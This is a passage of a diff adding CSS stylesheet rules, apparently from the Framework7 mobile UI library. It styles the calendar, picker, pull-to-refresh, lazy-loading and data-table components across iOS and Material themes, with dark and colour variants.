.theme-dark .calendar-week-header, +.ios .theme-dark .calendar .calendar-footer, +.calendar.ios .theme-dark .calendar-footer { + background-color: #1b1b1b; +} +.ios .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.ios .theme-dark .calendar-footer:before, +.ios .theme-dark .calendar-row:before, +.ios .theme-dark .calendar-sheet:before { + background-color: #282829; +} +.ios .theme-dark .calendar-day { + color: #fff; +} +.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span { + background: #333; +} +.ios .theme-dark .calendar-day.calendar-day-disabled { + color: #8E8E93; +} +.ios .theme-dark .calendar-day.calendar-day-prev, +.ios .theme-dark .calendar-day.calendar-day-next { + color: #555; +} +.ios .theme-dark .calendar-modal, +.calendar-modal.ios .theme-dark, +.ios .theme-dark .calendar-sheet { + background: #171717; +} +.ios .color-theme-red .calendar-day.calendar-day-selected span, +.ios .color-red .calendar-day.calendar-day-selected span { + background: #ff3b30; +} +.ios .color-theme-green .calendar-day.calendar-day-selected span, +.ios .color-green .calendar-day.calendar-day-selected span { + background: #4cd964; +} +.ios .color-theme-blue .calendar-day.calendar-day-selected span, +.ios .color-blue .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .color-theme-pink .calendar-day.calendar-day-selected span, +.ios .color-pink .calendar-day.calendar-day-selected span { + background: #ff2d55; +} +.ios .color-theme-yellow .calendar-day.calendar-day-selected span, +.ios .color-yellow .calendar-day.calendar-day-selected span { + background: #ffcc00; +} +.ios .color-theme-orange .calendar-day.calendar-day-selected span, +.ios .color-orange .calendar-day.calendar-day-selected span { + background: #ff9500; +} +.ios .color-theme-gray .calendar-day.calendar-day-selected span, +.ios .color-gray .calendar-day.calendar-day-selected span { + background: #8e8e93; +} +.ios .color-theme-white .calendar-day.calendar-day-selected span, +.ios .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; +} +.ios .color-theme-black .calendar-day.calendar-day-selected span, +.ios .color-black .calendar-day.calendar-day-selected span { + background: #000000; +} +.md .calendar-header { + height: 56px; + background: #2196f3; + font-size: 20px; + line-height: 56px; + padding: 0 24px; + color: #fff; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .calendar-footer { + position: relative; + width: 100%; + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .calendar .toolbar { + background: none !important; + color: #212121; +} +.md .calendar .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .calendar .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .calendar .toolbar a.link .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .calendar .toolbar .icon-next, +.md .calendar .toolbar .icon-prev, +.md .calendar .toolbar .icon-forward, +.md .calendar .toolbar .icon-back { + opacity: 0.54; +} +.md .calendar-week-header { + color: rgba(0, 0, 0, 0.54); + height: 24px; +} +.md .calendar-week-header .calendar-week-day { + line-height: 24px; +} +.md .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.md .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .calendar-day span { + width: 36px; + height: 36px; + line-height: 36px; +} +.md .calendar-range .calendar-day.calendar-day-selected span { + color: #fff; +} +.md .calendar-month-selector a.icon-only, +.md .calendar-year-selector a.icon-only { + min-width: 36px; +} +.md .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #ccc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-left.calendar .calendar-row, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-left.calendar .calendar-week-header, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-right.calendar .calendar-row, + .md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-right.calendar .calendar-week-header, + .md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.md .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.md .theme-dark .calendar-week-header { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .calendar-day.calendar-day-disabled { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day.calendar-day-prev, +.md .theme-dark .calendar-day.calendar-day-next { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .calendar-modal, +.calendar-modal.md .theme-dark { + background: #202020; +} +.md .theme-dark .calendar.calendar-sheet:before, +.calendar.md .theme-dark.calendar-sheet:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .calendar .toolbar, +.calendar.md .theme-dark .toolbar { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar .toolbar a.link:before, +.calendar.md .theme-dark .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .calendar .toolbar a.link.active-state:before, +.calendar.md .theme-dark .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .calendar .toolbar a.link .ripple-wave, +.calendar.md .theme-dark .toolbar a.link .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .color-theme-red .calendar-header, +.md .color-red .calendar-header { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-today span, +.md .color-red .calendar-day.calendar-day-today span { + color: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-has-events span:after, +.md .color-red .calendar-day.calendar-day-has-events span:after { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-selected span, +.md .color-red .calendar-day.calendar-day-selected span { + background: #f44336; + color: #fff; +} +.md .color-theme-red .calendar-day.calendar-day-selected span:after, +.md .color-red .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-green .calendar-header, +.md .color-green .calendar-header { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-today span, +.md .color-green .calendar-day.calendar-day-today span { + color: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-has-events span:after, +.md .color-green .calendar-day.calendar-day-has-events span:after { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-selected span, +.md .color-green .calendar-day.calendar-day-selected span { + background: #4caf50; + color: #fff; +} +.md .color-theme-green .calendar-day.calendar-day-selected span:after, +.md .color-green .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-blue .calendar-header, +.md .color-blue .calendar-header { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-today span, +.md .color-blue .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-has-events span:after, +.md .color-blue .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span, +.md .color-blue .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span:after, +.md .color-blue .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-pink .calendar-header, +.md .color-pink .calendar-header { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-today span, +.md .color-pink .calendar-day.calendar-day-today span { + color: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-has-events span:after, +.md .color-pink .calendar-day.calendar-day-has-events span:after { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span, +.md .color-pink .calendar-day.calendar-day-selected span { + background: #e91e63; + color: #fff; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span:after, +.md .color-pink .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-yellow .calendar-header, +.md .color-yellow .calendar-header { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-today span, +.md .color-yellow .calendar-day.calendar-day-today span { + color: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after, +.md .color-yellow .calendar-day.calendar-day-has-events span:after { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span, +.md .color-yellow .calendar-day.calendar-day-selected span { + background: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span:after, +.md .color-yellow .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-orange .calendar-header, +.md .color-orange .calendar-header { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-today span, +.md .color-orange .calendar-day.calendar-day-today span { + color: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-has-events span:after, +.md .color-orange .calendar-day.calendar-day-has-events span:after { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span, +.md .color-orange .calendar-day.calendar-day-selected span { + background: #ff9800; + color: #fff; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span:after, +.md .color-orange .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-gray .calendar-header, +.md .color-gray .calendar-header { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-today span, +.md .color-gray .calendar-day.calendar-day-today span { + color: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-has-events span:after, +.md .color-gray .calendar-day.calendar-day-has-events span:after { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span, +.md .color-gray .calendar-day.calendar-day-selected span { + background: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span:after, +.md .color-gray .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-white .calendar-header, +.md .color-white .calendar-header { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-today span, +.md .color-white .calendar-day.calendar-day-today span { + color: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-has-events span:after, +.md .color-white .calendar-day.calendar-day-has-events span:after { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span, +.md .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; + color: #fff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span:after, +.md .color-white .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-black .calendar-header, +.md .color-black .calendar-header { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-today span, +.md .color-black .calendar-day.calendar-day-today span { + color: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-has-events span:after, +.md .color-black .calendar-day.calendar-day-has-events span:after { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-selected span, +.md .color-black .calendar-day.calendar-day-selected span { + background: #000000; + color: #fff; +} +.md .color-theme-black .calendar-day.calendar-day-selected span:after, +.md .color-black .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +/* === Picker === */ +.picker { + width: 100%; + height: 260px; +} +.picker.picker-inline, +.popover .picker { + height: 200px; +} +@media (orientation: landscape) and (max-height: 415px) { + .picker:not(.picker-inline) { + height: 200px; + } +} +.picker-popover { + width: 280px; +} +.picker-columns { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + overflow: hidden; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; + text-align: right; + height: 100%; + position: relative; + -webkit-mask-box-image: linear-gradient(to top, transparent, transparent 5%, white 20%, white 80%, transparent 95%, transparent); +} +.picker-column { + position: relative; + max-height: 100%; +} +.picker-column.picker-column-first:before, +.picker-column.picker-column-last:after { + height: 100%; + width: 100vw; + position: absolute; + content: ''; + top: 0; +} +.picker-column.picker-column-first:before { + left: 100%; +} +.picker-column.picker-column-last:after { + right: 100%; +} +.picker-column.picker-column-left { + text-align: left; +} +.picker-column.picker-column-center { + text-align: center; +} +.picker-column.picker-column-right { + text-align: right; +} +.picker-column.picker-column-divider { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.picker-items { + -webkit-transition: 300ms; + transition: 300ms; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.picker-item { + height: 36px; + line-height: 36px; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + left: 0; + top: 0; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; +} +.picker-item span { + padding: 0 10px; +} +.picker-column-absolute .picker-item { + position: absolute; +} +.picker-item.picker-item-far { + pointer-events: none; +} +.picker-item.picker-item-selected { + -webkit-transform: translate3d(0, 0, 0) rotateX(0deg); + transform: translate3d(0, 0, 0) rotateX(0deg); +} +.picker-center-highlight { + height: 36px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + width: 100%; + top: 50%; + margin-top: -18px; + pointer-events: none; +} +.picker-3d .picker-columns { + overflow: hidden; + -webkit-perspective: 1200px; + perspective: 1200px; +} +.picker-3d .picker-column, +.picker-3d .picker-items, +.picker-3d .picker-item { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.picker-3d .picker-column { + overflow: visible; +} +.picker-3d .picker-item { + -webkit-transform-origin: center center -110px; + transform-origin: center center -110px; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.ios .picker-columns { + font-size: 24px; +} +.ios .picker-column-divider { + color: #000; +} +.ios .picker-item { + color: #707274; +} +.ios .picker-item.picker-item-selected { + color: #000; +} +.ios .picker-popover .toolbar { + background: none; +} +.ios .picker-popover .toolbar:before { + display: none !important; +} +.ios .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 44px); +} +.ios .picker-popover .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .picker-item.picker-item-selected { + color: #fff; +} +.ios .theme-dark .picker-popover .toolbar:after, +.picker-popover.ios .theme-dark .toolbar:after { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:before { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:after { + background-color: #282829; +} +.md .picker-popover .toolbar { + border-radius: 2px 2px 0 0; +} +.md .picker-columns { + font-size: 20px; +} +.md .picker-column-divider { + color: rgba(0, 0, 0, 0.87); +} +.md .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 48px); +} +.md .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .picker-column-divider { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .picker-center-highlight:before { + background-color: rgba(255, 255, 255, 0.15); +} +.md .theme-dark .picker-center-highlight:after { + background-color: rgba(255, 255, 255, 0.15); +} +/* === Infinite === */ +.infinite-scroll-preloader { + margin-left: auto; + margin-right: auto; + text-align: center; +} +.infinite-scroll-preloader.preloader { + display: block; +} +.ios .infinite-scroll-preloader { + margin-top: 35px; + margin-bottom: 35px; +} +.ios .infinite-scroll-preloader .preloader, +.ios .infinite-scroll-preloader.preloader { + width: 27px; + height: 27px; +} +.md .infinite-scroll-preloader { + margin-top: 32px; + margin-bottom: 32px; +} +/* === PTR === */ +.ptr-preloader .preloader { + position: absolute; + left: 50%; +} +.ios .ptr-preloader { + position: relative; + height: 44px; + margin-top: -44px; + width: 100%; + left: 0; + top: 0; +} +.ios .ptr-preloader .preloader { + width: 27px; + height: 27px; + margin-left: -13px; + margin-top: -13px; + visibility: hidden; + top: 50%; +} +.ios .ptr-arrow { + position: absolute; + left: 50%; + top: 50%; + background: no-repeat center; + z-index: 10; + -webkit-transform: rotate(0deg) translate3d(0, 0, 0); + transform: rotate(0deg) translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + width: 13px; + height: 20px; + margin-left: -6px; + margin-top: -10px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 20px; + visibility: visible; +} +.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader { + -webkit-animation: none; + animation: none; +} +.ios .ptr-transitioning, +.ios .ptr-refreshing { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.ios .ptr-refreshing { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .ptr-refreshing .ptr-arrow { + visibility: hidden; +} +.ios .ptr-refreshing .ptr-preloader .preloader { + visibility: visible; +} +.ios .ptr-pull-up .ptr-arrow { + -webkit-transform: rotate(180deg) translate3d(0, 0, 0); + transform: rotate(180deg) translate3d(0, 0, 0); +} +.ios .ptr-no-navbar { + margin-top: -44px; + height: calc(100% + 44px); +} +.ios .ptr-no-navbar .ptr-preloader { + margin-top: 0; +} +.md .ptr-preloader { + position: absolute; + left: 50%; + top: 16px; + width: 40px; + height: 40px; + border-radius: 50%; + background: #fff; + margin-left: -20px; + margin-top: -7px; + z-index: 100; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +@media (min-width: 768px) { + .md .ptr-preloader { + top: 24px; + } +} +.md .ptr-preloader .preloader { + width: 22px; + height: 22px; + margin-left: -11px; + margin-top: -11px; + top: 50%; + visibility: hidden; +} +.md .ptr-preloader .preloader .preloader-inner-gap, +.md .ptr-preloader .preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .ptr-arrow { + width: 22px; + height: 22px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 3px solid #757575; + position: absolute; + left: 50%; + top: 50%; + margin-left: -11px; + margin-top: -11px; + border-left-color: transparent; + border-radius: 50%; + opacity: 1; + -webkit-transform: rotate(150deg); + transform: rotate(150deg); +} +.md .ptr-arrow:after { + content: ''; + width: 0px; + height: 0px; + position: absolute; + left: -5px; + bottom: 0px; + border-bottom-width: 6px; + border-bottom-style: solid; + border-bottom-color: inherit; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + -webkit-transform: rotate(-40deg); + transform: rotate(-40deg); +} +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader, +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader * { + -webkit-animation: none; + animation: none; +} +.md .ptr-refreshing .ptr-preloader .preloader, +.md .ptr-pull-up .ptr-preloader .preloader { + visibility: visible; +} +.md .ptr-refreshing .ptr-arrow, +.md .ptr-pull-up .ptr-arrow { + visibility: hidden; +} +.md .ptr-refreshing .ptr-preloader { + -webkit-transform: translate3d(0, 66px, 0); + transform: translate3d(0, 66px, 0); +} +.md .ptr-transitioning .ptr-arrow { + -webkit-transition: 300ms; + transition: 300ms; +} +.md .ptr-pull-up .ptr-arrow { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transform: rotate(620deg) !important; + transform: rotate(620deg) !important; + opacity: 0; +} +.md .ptr-transitioning .ptr-preloader, +.md .ptr-refreshing .ptr-preloader { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.md .ptr-no-navbar .ptr-preloader { + top: auto; + bottom: 100%; + margin-bottom: 7px; +} +.md .page-with-subnavbar .ptr-preloader, +.md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, +.md .searchbar ~ .ptr-content .ptr-preloader { + top: 64px; +} +@media (min-width: 768px) { + .md .page-with-subnavbar .ptr-preloader, + .md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, + .md .searchbar ~ .ptr-content .ptr-preloader { + top: 72px; + } +} +/* === Images Lazy Loading === */ +.lazy-loaded.lazy-fade-in { + -webkit-animation: lazyFadeIn 600ms; + animation: lazyFadeIn 600ms; +} +@-webkit-keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +/* === Data Table === */ +.data-table { + overflow-x: auto; +} +.data-table table { + width: 100%; + border: none; + padding: 0; + margin: 0; + border-collapse: collapse; + text-align: right; +} +.data-table thead { + font-size: 12px; +} +.data-table thead th, +.data-table thead td { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + line-height: 16px; +} +.data-table thead i.icon, +.data-table thead i.f7-icons, +.data-table thead i.material-icons { + vertical-align: top; +} +.data-table th, +.data-table td { + padding: 0; + position: relative; +} +.data-table th.numeric-cell, +.data-table td.numeric-cell { + text-align: left; +} +.data-table th.checkbox-cell, +.data-table td.checkbox-cell { + overflow: visible; +} +.data-table th.checkbox-cell label + span, +.data-table td.checkbox-cell label + span { + margin-right: 8px; +} +.data-table th.actions-cell, +.data-table td.actions-cell { + text-align: left; + white-space: nowrap; +} +.data-table th a.icon-only, +.data-table td a.icon-only, +.card .data-table th a.icon-only, +.card .data-table td a.icon-only, +.card.data-table th a.icon-only, +.card.data-table td a.icon-only { + display: inline-block; + vertical-align: middle; + text-align: center; + font-size: 0; + min-width: 0; +} +.data-table th a.icon-only i, +.data-table td a.icon-only i, +.card .data-table th a.icon-only i, +.card .data-table td a.icon-only i, +.card.data-table th a.icon-only i, +.card.data-table td a.icon-only i { + font-size: 18px; + vertical-align: middle; +} +.data-table .sortable-cell:not(.input-cell) { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell.input-cell .table-head-label { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + content: ''; + display: inline-block; + vertical-align: top; + width: 16px; + height: 16px; + background-image: 